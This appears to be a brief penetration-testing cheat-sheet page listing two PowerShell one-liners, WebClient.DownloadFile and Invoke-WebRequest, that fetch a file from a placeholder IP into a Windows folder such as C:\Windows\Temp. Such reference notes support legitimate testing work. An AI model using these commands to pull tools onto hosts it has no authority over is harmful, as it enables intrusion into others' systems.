FILE DOWNLOAD

Download a file using PowerShell of any version

(New-Object System.Net.WebClient).DownloadFile("http://<IP>/<FILE>", "C:\Windows\Temp\<FILE>")

Download a file using PowerShell version 4+

Invoke-WebRequest "http://<IP>/<FILE>" -OutFile "<PATH TO FILE>"

Last updated